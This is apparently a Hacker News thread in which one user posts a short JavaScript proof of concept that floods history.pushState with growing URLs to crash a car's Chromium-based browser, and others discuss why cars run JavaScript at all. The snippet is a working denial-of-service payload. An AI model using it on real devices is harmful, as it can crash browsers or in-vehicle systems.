4 ms·
Here's the vulnerability: <html> <script> var total = ""; for (var i = 0; i < 100000; i++) { total = total + i.toString();
by nickodell 7y ago
Here's the vulnerability:
<html>
<script>
var total = "";
for (var i = 0; i < 100000; i++) {
total = total + i.toString();
history.pushState(0, 0, total);
}
</script>
</html>
- root_axis 7y agoPretty funny. There's a joke in there about running javascript in your car.
- mister_hn 7y agoWhy do they allow JavaScript at all?
- speedgoose 7y agoThe car has a chromium based web browser. The web uses javascript.
- mister_hn 7y agobut it isn't a must. Just block it from executing it on a car
- fulafel 7y agoTerminology nit: the vulnerability is the improper process separation. That JS snippet is a PoC demonstrating the vulnerability.